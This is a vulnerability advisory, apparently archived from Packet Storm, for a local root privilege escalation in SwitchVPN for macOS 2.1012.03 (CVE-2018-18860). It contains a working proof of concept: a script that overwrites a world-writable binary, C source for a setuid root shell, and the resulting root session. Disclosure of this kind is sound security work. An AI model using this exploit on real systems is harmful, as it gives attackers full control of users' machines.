what you don't know can hurt you

SwitchVPN For MacOS 2.1012.03 Privilege Escalation

SwitchVPN For MacOS 2.1012.03 Privilege Escalation
Posted Nov 14, 2018
Authored by Bernd Leitner

SwitchVPN for MacOS version 2.1012.03 suffers from a privilege escalation vulnerability.

tags | exploit
advisories | CVE-2018-18860
MD5 | abf8d902b4bccd24f7ea7aa7bce8f63f

SwitchVPN For MacOS 2.1012.03 Privilege Escalation

Change Mirror Download
=======================================================================
Title: Privilege Escalation Vulnerability
Product: SwitchVPN for MacOS
Vulnerable version: 2.1012.03
CVE ID: CVE-2018-18860
Impact: Critical
Homepage: https://switchvpn.net/
Identified: 2018-09-29
By: Bernd Leitner (bernd.leitner [at] gmail dot com)
=======================================================================

Vendor description:
-------------------
"By 2015 we were frustrated that the free internet we loved was under
threat.
As experts in online security we believed we could solve this problem. So we
came together as a team to make SwitchVPN, a simple and powerful app to keep
the internet free. SwitchVPN is simple. Install it on your phone, tablet or
laptop, then just switch it on to keep the internet free. SwitchVPN is
powerful.
Our exclusive VPN Service technology is constantly being upgraded by a
dedicated
team of internet security experts."

Source: https://switchvpn.net/


Business recommendation:
------------------------
By exploiting the vulnerability documented in this advisory, an attacker
can fully compromise a MacOS system with an installation of the SwitchVPN
client.

Users are urged to uninstall the SwitchVPN client for MacOS until the
issues have
been fixed.


Vulnerability overview/description:
-----------------------------------
1) Privilege Escalation Vulnerability (reserved CVE-2018-18860)

After installation or an update, the script "fix_permissions.sh" is run by
the application. This script changes the owner of the main application
binaries
to root and sets them to world-writable. Additionally, the SUID bit is set
for
another sensitive binary in the application folder. This configuration
makes it
very easy to escalate privileges to root.

After the installation or update of SwitchVPN, the following script is run:

============================================================================================
...
switchvpn_updater.dat
mb:MacOS b$ file switchvpn_updater.dat
switchvpn_updater.dat: Qt Binary Resource file
...
if (systemInfo.kernelType === "darwin") {
console.log("Run permissions\n");
component.addElevatedOperation("Execute",
"/Applications/SwitchVPN/SwitchVPN.app/Contents/MacOS/fix_permissions.sh");
}
...
============================================================================================
mb:MacOS b$ cat fix_permissions.sh
#!/bin/sh

chown -R root /Applications/SwitchVPN/SwitchVPN.app/
chgrp -R admin /Applications/SwitchVPN/SwitchVPN.app/
chmod -R 777 /Applications/SwitchVPN/SwitchVPN.app/
chmod -R u+s /Applications/SwitchVPN/SwitchVPN.app/Contents/MacOS/compose8
============================================================================================

This leads to an overpermissive application configuration:

============================================================================================
mb:MacOS b$ ls -al
total 18720
drwxrwxrwx 35 root admin 1120 Sep 29 20:39 .
drwxrwxrwx 16 root admin 512 Sep 29 20:39 ..
-rwxrwxrwx 1 root admin 106224 Oct 12 2017 SwitchVPN
-rwxrwxrwx 1 root admin 4693216 Oct 12 2017 SwitchVPN_GUI
-r-xr-xr-x 1 root wheel 2859376 Oct 12 2017 compose
-r-xr-xr-x 1 root wheel 29184 Oct 12 2017 compose10
-r-xr-xr-x 1 root wheel 29184 Oct 12 2017 compose11
-r-xr-xr-x 1 root wheel 59152 Oct 12 2017 compose3
-r-xr-xr-x 1 root wheel 39008 Oct 12 2017 compose4
-r-xr-xr-x 1 root wheel 587776 Oct 12 2017 compose6
-r-xr-xr-x 1 root wheel 278848 Oct 12 2017 compose7
-r-sr-xr-x 1 root wheel 22800 Oct 12 2017 compose8
-r-xr-xr-x 1 root wheel 19056 Oct 12 2017 compose9
-r-xr-xr-x 1 root wheel 132160 Oct 12 2017 composec
-r-xr-xr-x 1 root wheel 510464 Oct 12 2017 composecn
-r-xr-xr-x 1 root wheel 5632 Oct 12 2017 down.sh
-rwxrwxrwx 1 root admin 245 Oct 12 2017 fix_permissions.sh
-rw-r--r-- 1 root admin 56 Sep 29 20:39 log.txt
-r-xr-xr-x 1 root wheel 39050 Oct 12 2017 up.sh
============================================================================================

Further investigation shows, that the "SwitchVPN_GUI" binary is run as root:

============================================================================================
mb:MacOS b$ ps aux | grep -i switch
root 15165 4.6 0.4 4515952 72912 ?? S 8:39PM
0:08.84 SwitchVPN_GUI
============================================================================================

After statically analysing the "SwitchVPN" binary, it became clear, that it
runs the "compose8" SUID root binary. Further analysis showed, that
"compose8"
subsequently runs the "SwitchVPN_GUI" binary and since it's world-writable,
an
attacker can exploit the situation to escalate privileges.

============================================================================================
# SwitchVPN -> compose8
...add rdx, [rdx+10h]
lea rsi, aCompose8_0 ; "compose8"
lea rcx, aSwitchvpn ; "SwitchVPN"
xor r9d, r9d
xor eax, eax
mov rdi, rbx ; char *
mov r8, r14
call _execl
...
============================================================================================

============================================================================================
# compose8 -> SwitchVPN_GUI
...
lea rsi, aCompose8WillIn ; "Compose8 will invoke GUI app %s, %s\n"
xor eax, eax
mov rdx, rbx
mov rcx, r12
call _fprintf
cmp r15d, 4
lea rdx, aB ; "-b"
cmovnz rdx, r14
xor ecx, ecx
xor eax, eax
mov rdi, rbx ; char *
mov rsi, r12 ; char *
call _execl
...
============================================================================================

Running the "SwitchVPN" binary from the command line confirms the issue:

============================================================================================
./SwitchVPN
This app (compose8) invoked with args:
/Applications/SwitchVPN/SwitchVPN.app/Contents/MacOS, SwitchVPN
Compose8 will invoke GUI app
/Applications/SwitchVPN/SwitchVPN.app/Contents/MacOS/SwitchVPN_GUI,
SwitchVPN_GUI
============================================================================================


Proof of concept:
-----------------
1) Privilege Escalation Vulnerability
A situation like the one described above provides a wide range of
possibilities for escalating privileges to root. A quick and easy way is to
write the following shell script to "SwitchVPN_GUI":

============================================================================================
#!/bin/bash
chown root /tmp/shell
chmod 4755 /tmp/shell
============================================================================================

Create and compile the following execve() based shell:

============================================================================================
#include <stdlib.h>
#include <unistd.h>
main () {
setuid(0);
seteuid(0);
setgid(0);
execve("/bin/sh", 0, 0);
}

gcc shell.c -o shell
============================================================================================

Copy the shell binary to an attacker controlled location (e.g. /tmp).
Start the "SwitchVPN.app" as a local, unprivileged user. Afterwards the
execution of /tmp/shell will drop the user/attacker to a root shell:

============================================================================================
-rwsr-xr-x 1 root wheel 8576 Sep 29 20:34 shell
-rw-r--r-- 1 b wheel 127 Sep 29 20:33 shell.c

bash-3.2$ whoami
b
bash-3.2$ ./shell
bash-3.2# whoami
root
============================================================================================


Vulnerable / tested versions:
-----------------------------
The following version has been tested and found to be vulnerable: 2.1012.03.
Earlier versions might be vulnerable as well.


Vendor contact timeline:
------------------------
2018-10-04: Requested security contact via https://switchvpn.net
2018-10-10: Contacted vendor through mark@switchvpn.com
2018-10-17: Requested status update from vendor
2018-10-30: Sent new contact details & public PGP key to mark@switchvpn.com
2018-10-31: Requested status update from vendor
2018-11-12: Informed vendor about advisory release

Solution:
---------
None.


Workaround:
-----------
None.


EOF B. Leitner / @2018


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

January 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    15 Files
  • 2
    Jan 2nd
    15 Files
  • 3
    Jan 3rd
    11 Files
  • 4
    Jan 4th
    1 Files
  • 5
    Jan 5th
    2 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    24 Files
  • 8
    Jan 8th
    15 Files
  • 9
    Jan 9th
    16 Files
  • 10
    Jan 10th
    23 Files
  • 11
    Jan 11th
    17 Files
  • 12
    Jan 12th
    3 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    18 Files
  • 15
    Jan 15th
    33 Files
  • 16
    Jan 16th
    23 Files
  • 17
    Jan 17th
    29 Files
  • 18
    Jan 18th
    15 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close